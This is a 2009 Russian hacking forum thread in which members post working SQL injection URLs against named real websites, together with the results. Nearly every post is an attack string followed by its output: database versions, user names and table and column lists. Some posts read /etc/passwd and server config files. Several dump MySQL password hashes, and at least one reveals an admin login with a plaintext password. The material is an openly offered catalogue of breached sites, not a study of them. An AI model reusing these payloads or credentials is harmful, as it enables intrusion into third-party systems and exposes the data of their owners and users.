SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<OAO "Катод">>
    Code:
    http://www.katodnv.ru/print_doc.php?ID=-8)+union+select+concat_ws(0x3a2a3a,version(),database(),user(),@version_compile_os)--+
    5.0.32-Debian_7etch10-log:*:katodnv_ru:*:katodnv_ru@localhost
    Code:
    http://www.katodnv.ru/admin - бейсик авторизация
     
    1 person likes this.
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 3

    http://www.paraschis.gr/review.php?id=1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),databa se(),us er()),11--

    4.1.22-standard:spyros_site:spyros_site@localhost

    ------------------------------------------------------------------------
    PR: 3

    http://www.silverwings.gr/main/detail.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10--

    5.0.67-community:swings_silverwings:swings_georgek@localhost
    -------------------------------------------------------------------------
    PR: 5
    Академия Компьютерных технологий гг

    http://ru6.cti.gr/ru6/projects_view.php?id=-1+union+select+concat_ws(0x3a,version(),databas e(),use r()),2,3,4,5,6,7,8,9,10,11,12--


    5.0.27:ru6:siteru6@localhost

    http://ru6.cti.gr/ru6/projects_view.php?id=-1+union+select+group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12+from+information_schema. tables+gr oup+by+ table_schema+limit+1,1--

    таблы :
    projects,people,pub_category,people_info,links,pub_n_auth,pr_n_par,news,publications,pr_n_pub,partners
     
    _________________________
    #9162 HAXTA4OK, 6 May 2009
    Last edited: 6 May 2009
  3. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    PR 6

    http://www.bored.com/drawthings/save.php?id=-2308041+union+select+1,2,3

    Database Version: 5.0.51-log
    Database name: drawthin_bored
    User name: [email protected]
     
  4. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://www.todocontenidos.com/Tema.php?Id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
    4.1.22-standard : todocont_conte : todocont_conte@localhost
     
    2 people like this.
  5. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://www.cafedelmarcommunity.com/las_rozas_village/index_2.php?id=-1+union+select+1,2,3,4,5,6/*
     
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 4

    http://www.rent4day.am/template.php?lang=3&id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),databa se(),use r())--

    4.1.22-standard-log:rent4day_rent4day:rent4day_rent@localhost


    ------------------------------------------------------------------------
    ТИЦ: 10
    PR: 6


    http://www.agbu.am/index.php?p=ysip&id=-1+union+select+1,2,3,concat_ws(0x3a, version(),datab ase(),user()),5,6,7,8,9,10,11,12--

    5.0.67-community-log:agbuam_agbu:agbuam@localhost

    http://www.agbu.am/index.php?p=ysip&id=-1+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12+from+information_schema.tabl es+grou p+by +table_schema--


    таблы :
    ypy,images,admin,ysip,news,attachments,projects,donations,videos,gallery


    http://www.agbu.am/index.php?p=ysip&id=-1+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=0x61646d696e--

    колонки в табле admin:
    ID,username,passwd,email


    admin :
    ID username passwd email

    1:agbu.am:ugab2007:[email protected]
     
    _________________________
    #9166 HAXTA4OK, 6 May 2009
    Last edited: 6 May 2009
  7. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://fieam.locaweb.com.br/senai/noticia.php?idN=-159+union+select+1,2,version(),4,5,6,7,8,9,10,11/*
    5.0.41-community

    http://www.cubalibredigital.com/noticia.php?id=19478'+union+select+1,2,3,4,5,6,7,8,9/*

    http://www.adrianomoraes.com/siteam/index.php?lang=eng&do=pbrNoticias&id=-1543'+union+select+1,2,3,4,5,6,7/*&PHPSESSID=94c4qfic3c49aqpohaapedgie6

    И еду ПР5))
    http://economics.wustl.edu/courses/courses.php?sem=sp09+union+select+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+--+
     
  8. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.quadrat.am/news_ds.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),data base(),use r()),6,7--


    5.0.51a-community-nt:quadrat:root@localhost
     
    _________________________
  9. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.sabahtourism.com/en/event.php?readID=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mysql.user&rd=true&do=readmore
    belalang@localhost:diana:5.0.51a-log

    Code:
    http://www.sabahtourism.com/en/event.php?readID=-1+union+select+1,concat_ws(0x3a,user,password,file_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mysql.user&rd=true&do=readmore
    Code:
    root:509492793f8aed39:Y
    Code:
    http://www.sabahtourism.com/en/event.php?readID=-1+union+select+1,load_file('/etc/passwd'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&rd=true&do=readmore
    /etc/passwd

    Code:
    http://www.sabahtourism.com/en/event.php?readID=-1+union+select+1,load_file('/etc/httpd/conf/httpd.conf'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mysql.user&rd=true&do=readmore
    httpd.conf

    Next...
    Code:
    http://www.web-gr.net/webdirectory/index.php?id=26+and+1=0+union+select+1,2,concat_ws(0x3a,user(),database(),version())
    webgrn80_jsalata@localhost:webgrn80_webgr:5.0.67-community
     
    #9169 mailbrush, 6 May 2009
    Last edited: 6 May 2009
    1 person likes this.
  10. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.controlenggcollege.org/main.php?ID=9&InstituteId=10+union+select+1,2,3,4/*

    Database Version: 5.0.18-nt
    Database name: technogroup
    User name: technogroup@localhost
     
    1 person likes this.
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://aviagit.am/hotels.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,versio n(),database(), user()),7--


    5.0.67-community-log:aviagit_aviagit:aviagit_aviagit@localhost

    http://aviagit.am/hotels.php?id=-1+union+select+1,2,3,4,5,group_concat(table_name),7+from+information_schema.tables+group+by+tab le_schema+lim it+0,1--

    Таблы:
    template1,top_images,hotels
     
    _________________________
  12. _SEREGA_

    _SEREGA_ Banned

    Joined:
    28 Mar 2008
    Messages:
    132
    Likes Received:
    44
    Reputations:
    7
    скуль:

    Code:
    http://www.superwheels.net/evento.php?ID=-10+union+select+1,2,3,4,5,6,7--
    версия:

    Code:
    http://www.superwheels.net/evento.php?ID=-10+union+select+1,version(),3,4,5,6,7--
    5.0.68-log

    таблицы выводятся:

    Code:
    http://www.superwheels.net/evento.php?ID=-10+union+select+1,table_name,3,4,5,6,7+from+information_schema.tables--
    столбцы выводятся:

    Code:
    http://www.superwheels.net/evento.php?ID=-10+union+select+1,column_name,3,4,5,6,7+from+information_schema.columns--
    infa:

    Code:
    http://www.superwheels.net/evento.php?ID=-10+union+select+1,concat_ws(0x3a,user(),database()),3,4,5,6,7--
    user() [email protected]
    database() Sql138934_1
     
  13. Lam3rsha

    Lam3rsha Member

    Joined:
    25 Oct 2008
    Messages:
    36
    Likes Received:
    8
    Reputations:
    5
    http://www.mariatk.ru/catalog.htm?cat_id=30+union+select+user(),2/*

    Database Version: 4.0.27
    Database name: mariya
    User name: [email protected]
     
  14. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    http://www.tsarichanska.com/page.php?pn=-99999999999%20union%20select%20table_name%20%20from%20information_schema.tables%20limit%2019,1--

    5.0.67 log
     
    2 people like this.
  15. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.navarrocollege.edu/former.php?id=-159'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14+--+
    4.1.20
     
  16. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 3

    http://www.radhaus-am-rathaus.de/index.php?page=partner&id=1+union+select+1,concat_ws(0x3a,version(),datab ase(),u ser()),3,4,5,6,7,8,9--

    5.0.45:radhaus_08:rad_user@localhost

    таблы:
    download
    download_download
    download_kategorien
    galerie
    index_banner_1
    link_kategorien
    link_links
    mitarbeiter_standard
    news
    pages
    pages_txt
    simple
    simple_txt
    standards
    standards_entries
    su
    su_navi
    verein_sponsor

    ------------------------------------------------------------------------
    http://am-galerie.de/home.php?id=1&content_id=-12+union+sel ect+1,2,conca t_ws(0x3a,version(),database(),user()),4,5,6--&color=CAE29B


    5.0.24-Debian_0.dotdeb.0-log:de9414:de9414@localhost

    http://am-galerie.de/home.php?id=1&content_id=-12+union+select+1,2,group_concat(table_name),4,5,6+fr om+infor mation_schema.tables+group+by+table_schema--&color=CAE29B

    таблы:
    artists,content,images,menus
    ------------------------------------------------------------------------
    PR: 4

    http://www.apo-klein-am-markt.de/index.php?c=1&id=-1+union+select+1,concat_ws(0x3a,vers ion(),database(),u ser())--

    (вывод смареть в html коде)

    4.0.27-log:DB105344:[email protected]
     
    _________________________
    #9176 HAXTA4OK, 7 May 2009
    Last edited: 7 May 2009
  17. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 4

    http://www.nakoil.am/Groups.php?id=1+union+select+1,concat_ws(0x3a,version(),data base(), user()),3--

    5.0.67-community-log:nakoil_DB:nakoil_ash@localhost
     
    _________________________
  18. tymbys

    tymbys New Member

    Joined:
    19 Nov 2008
    Messages:
    2
    Likes Received:
    3
    Reputations:
    3
    http://www.patagoniaexpeditionrace.com/en/news_detail.php?news=-1+UNION+SELECT+1,2,3,4,5,concat(user(),0x3a,version(),database()),7,8,9,10,11,12,13
    http://www.patagoniaexpeditionrace.com/en/news_detail.php?news=-1+UNION+SELECT+1,2,3,4,5,LOAD_FILE(0x2F6574632F706173737764),7,8,9,10,11,12,13

    [email protected]:5.0.45-logsitio
     
    2 people like this.
  19. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.garradhassan.com Page Rank 6
    Code:
    http://www.garradhassan.com/corporate/newsitem.php?story=-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7--
    version() - 5.0.51b-community-nt
    database() - ghcom
    user() - root@localhost

    tables:
    Code:
    http://www.garradhassan.com/corporate/newsitem.php?story=-1+union+select+1,2,3,4,5,group_concat(table_name),7+from+information_schema.tables--
    Code:
    http://www.garradhassan.com/corporate/newsitem.php?story=-1+union+select+1,2,3,4,5,concat_ws(0x3a,table_schema,table_name),7+from+information_schema.tables+where+table_name=0x75736572--
    mysql.user:
    Code:
    http://www.garradhassan.com/corporate/newsitem.php?story=-1+union+select+1,2,3,4,5,concat_ws(0x3a,user,password),7+from+mysql.user--
    root:373ba1c07f888b3b:3y35alphA
    helpdesk:*246AAAE25BC090A8A06E3211EAD3827FA6A8819A:spooky
    web:*B55160D1065FEAB0F8EEA92C8AD493C8DCCA537B:хз :(

    --------------------------------------------------------------------------------

    http://dtincr.ph PR 5
    Code:
    http://dtincr.ph/news.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user())--
    5.0.67-community:dtincr_db:dtincr_dtincr@localhost
     
    #9179 Skofield, 7 May 2009
    Last edited: 7 May 2009
    3 people like this.
  20. _SEREGA_

    _SEREGA_ Banned

    Joined:
    28 Mar 2008
    Messages:
    132
    Likes Received:
    44
    Reputations:
    7
    скуль:
    Code:
    http://www.aprileonline.info/notizia.php?id=-11774+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
    версия:
    Code:
    http://www.aprileonline.info/notizia.php?id=-11774+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16--
    5.0.27
    таблицы выводятся limit'om:
    Code:
    http://www.aprileonline.info/notizia.php?id=-11774+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables--
    столбцы выводятся limit'om:
    Code:
    http://www.aprileonline.info/notizia.php?id=-11774+union+select+1,2,3,4,5,column_name,7,8,9,10,11,12,13,14,15,16+from+information_schema.columns--
    infa:

    Code:
    http://www.aprileonline.info/notizia.php?id=-11774+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database()),7,8,9,10,11,12,13,14,15,16--
    user() aprile_info@localhost
    database() aprileonline_info
     
    #9180 _SEREGA_, 7 May 2009
    Last edited: 7 May 2009
    1 person likes this.
Thread Status:
Not open for further replies.